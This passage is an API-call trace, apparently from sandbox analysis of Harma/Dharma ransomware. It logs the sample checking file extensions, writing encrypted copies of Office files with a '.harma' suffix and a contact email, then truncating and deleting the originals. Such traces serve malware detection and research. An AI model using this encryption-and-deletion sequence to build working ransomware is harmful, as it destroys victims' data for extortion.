[0152.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.784] lstrlenW (lpString=".doc") returned 4 [0152.784] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0152.784] lstrlenW (lpString=".docx") returned 5 [0152.784] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0152.784] lstrlenW (lpString=".pdf") returned 4 [0152.784] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0152.784] lstrlenW (lpString=".xls") returned 4 [0152.784] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0152.784] lstrlenW (lpString=".xlsx") returned 5 [0152.784] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0152.784] lstrlenW (lpString=".ppt") returned 4 [0152.784] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0152.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.784] lstrlenW (lpString=".zip") returned 4 [0152.784] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0152.784] lstrlenW (lpString=".rar") returned 4 [0152.784] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0152.784] lstrlenW (lpString=".bz2") returned 4 [0152.784] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0152.785] lstrlenW (lpString=".7z") returned 3 [0152.785] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0152.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.785] lstrlenW (lpString=".dbf") returned 4 [0152.785] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0152.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.785] lstrlenW (lpString=".1cd") returned 4 [0152.785] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0152.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.785] lstrlenW (lpString=".jpg") returned 4 [0152.785] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0152.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.785] lstrlenW (lpString=".doc") returned 4 [0152.786] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0152.786] lstrlenW (lpString=".docx") returned 5 [0152.786] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0152.786] lstrlenW (lpString=".pdf") returned 4 [0152.786] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0152.786] lstrlenW (lpString=".xls") returned 4 [0152.786] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0152.786] lstrlenW (lpString=".xlsx") returned 5 [0152.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0152.786] lstrlenW (lpString=".ppt") returned 4 [0152.786] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0152.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.786] lstrlenW (lpString=".zip") returned 4 [0152.786] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0152.786] lstrlenW (lpString=".rar") returned 4 [0152.786] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0152.786] lstrlenW (lpString=".bz2") returned 4 [0152.786] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0152.786] lstrlenW (lpString=".7z") returned 3 [0152.786] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0152.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.786] lstrlenW (lpString=".dbf") returned 4 [0152.786] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0152.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.786] lstrlenW (lpString=".1cd") returned 4 [0152.787] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0152.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0152.787] lstrlenW (lpString=".jpg") returned 4 [0152.787] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0152.787] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0152.787] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0152.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.827] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=100224) returned 1 [0152.827] CloseHandle (hObject=0x208) returned 1 [0152.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20 [0152.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.597] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.597] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.597] GetLastError () returned 0x0 [0154.597] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x18780, lpOverlapped=0x0) returned 1 [0154.646] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x18790, lpOverlapped=0x0) returned 1 [0154.649] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0154.649] WriteFile (in: hFile=0x360, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfe, lpOverlapped=0x0) returned 1 [0154.649] SetEndOfFile (hFile=0x360) returned 1 [0154.649] CloseHandle (hObject=0x360) returned 1 [0154.649] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.649] SetEndOfFile (hFile=0x338) returned 1 [0154.655] CloseHandle (hObject=0x338) returned 1 [0154.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 1 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.670] lstrlenW (lpString=".doc") returned 4 [0154.670] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0154.670] lstrlenW (lpString=".docx") returned 5 [0154.670] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0154.670] lstrlenW (lpString=".pdf") returned 4 [0154.670] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0154.670] lstrlenW (lpString=".xls") returned 4 [0154.670] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0154.670] lstrlenW (lpString=".xlsx") returned 5 [0154.670] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0154.670] lstrlenW (lpString=".ppt") returned 4 [0154.670] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString=".zip") returned 4 [0154.671] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString=".rar") returned 4 [0154.671] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString=".bz2") returned 4 [0154.671] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString=".7z") returned 3 [0154.671] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString=".dbf") returned 4 [0154.671] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString=".1cd") returned 4 [0154.671] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString=".jpg") returned 4 [0154.671] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.671] lstrlenW (lpString=".doc") returned 4 [0154.671] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString=".docx") returned 5 [0154.671] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0154.671] lstrlenW (lpString=".pdf") returned 4 [0154.671] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0154.671] lstrlenW (lpString=".xls") returned 4 [0154.671] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString=".xlsx") returned 5 [0154.672] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0154.672] lstrlenW (lpString=".ppt") returned 4 [0154.672] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.672] lstrlenW (lpString=".zip") returned 4 [0154.672] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString=".rar") returned 4 [0154.672] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString=".bz2") returned 4 [0154.672] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString=".7z") returned 3 [0154.672] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.672] lstrlenW (lpString=".dbf") returned 4 [0154.672] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.672] lstrlenW (lpString=".1cd") returned 4 [0154.672] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0154.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0154.672] lstrlenW (lpString=".jpg") returned 4 [0154.672] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0154.672] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0154.672] lstrlenW (lpString="INFINTL.DLL") returned 11 [0154.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0154.674] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=481168) returned 1 [0154.674] CloseHandle (hObject=0x340) returned 1 [0154.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll")) returned 0x20 [0154.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.674] lstrlenW (lpString=".doc") returned 4 [0154.674] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.674] lstrlenW (lpString=".docx") returned 5 [0154.674] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0154.674] lstrlenW (lpString=".pdf") returned 4 [0154.674] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.674] lstrlenW (lpString=".xls") returned 4 [0154.675] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.675] lstrlenW (lpString=".xlsx") returned 5 [0154.675] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0154.675] lstrlenW (lpString=".ppt") returned 4 [0154.675] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.675] lstrlenW (lpString=".zip") returned 4 [0154.675] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.675] lstrlenW (lpString=".rar") returned 4 [0154.675] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.675] lstrlenW (lpString=".bz2") returned 4 [0154.675] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.675] lstrlenW (lpString=".7z") returned 3 [0154.675] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.675] lstrlenW (lpString=".dbf") returned 4 [0154.675] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.675] lstrlenW (lpString=".1cd") returned 4 [0154.675] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.675] lstrlenW (lpString=".jpg") returned 4 [0154.675] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString=".doc") returned 4 [0154.676] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString=".docx") returned 5 [0154.676] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0154.676] lstrlenW (lpString=".pdf") returned 4 [0154.676] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString=".xls") returned 4 [0154.676] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString=".xlsx") returned 5 [0154.676] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0154.676] lstrlenW (lpString=".ppt") returned 4 [0154.676] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString=".zip") returned 4 [0154.676] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString=".rar") returned 4 [0154.676] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.676] lstrlenW (lpString=".bz2") returned 4 [0154.676] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.676] lstrlenW (lpString=".7z") returned 3 [0154.676] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString=".dbf") returned 4 [0154.676] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString=".1cd") returned 4 [0154.676] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL") returned 59 [0154.676] lstrlenW (lpString=".jpg") returned 4 [0154.677] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.677] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0154.677] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0154.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0154.677] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1527046) returned 1 [0154.677] CloseHandle (hObject=0x340) returned 1 [0154.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 0x20 [0154.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0154.678] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.678] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0154.678] GetLastError () returned 0x0 [0154.679] ReadFile (in: hFile=0x340, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0155.130] WriteFile (in: hFile=0x334, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0155.213] ReadFile (in: hFile=0x340, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x74d16, lpOverlapped=0x0) returned 1 [0156.393] WriteFile (in: hFile=0x334, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x74d20, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x74d20, lpOverlapped=0x0) returned 1 [0156.404] ReadFile (in: hFile=0x340, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0156.405] WriteFile (in: hFile=0x334, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.405] SetEndOfFile (hFile=0x334) returned 1 [0156.406] CloseHandle (hObject=0x334) returned 1 [0156.406] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0156.406] SetEndOfFile (hFile=0x340) returned 1 [0156.739] CloseHandle (hObject=0x340) returned 1 [0156.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 1 [0156.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.766] lstrlenW (lpString=".doc") returned 4 [0156.766] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0156.766] lstrlenW (lpString=".docx") returned 5 [0156.766] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0156.766] lstrlenW (lpString=".pdf") returned 4 [0156.766] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0156.766] lstrlenW (lpString=".xls") returned 4 [0156.766] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0156.766] lstrlenW (lpString=".xlsx") returned 5 [0156.766] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0156.766] lstrlenW (lpString=".ppt") returned 4 [0156.766] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0156.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.766] lstrlenW (lpString=".zip") returned 4 [0156.766] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0156.766] lstrlenW (lpString=".rar") returned 4 [0156.766] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0156.766] lstrlenW (lpString=".bz2") returned 4 [0156.766] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0156.767] lstrlenW (lpString=".7z") returned 3 [0156.767] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString=".dbf") returned 4 [0156.767] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString=".1cd") returned 4 [0156.767] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString=".jpg") returned 4 [0156.767] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString=".doc") returned 4 [0156.767] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0156.767] lstrlenW (lpString=".docx") returned 5 [0156.767] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0156.767] lstrlenW (lpString=".pdf") returned 4 [0156.767] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0156.767] lstrlenW (lpString=".xls") returned 4 [0156.767] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0156.767] lstrlenW (lpString=".xlsx") returned 5 [0156.767] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0156.767] lstrlenW (lpString=".ppt") returned 4 [0156.767] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0156.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.767] lstrlenW (lpString=".zip") returned 4 [0156.767] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 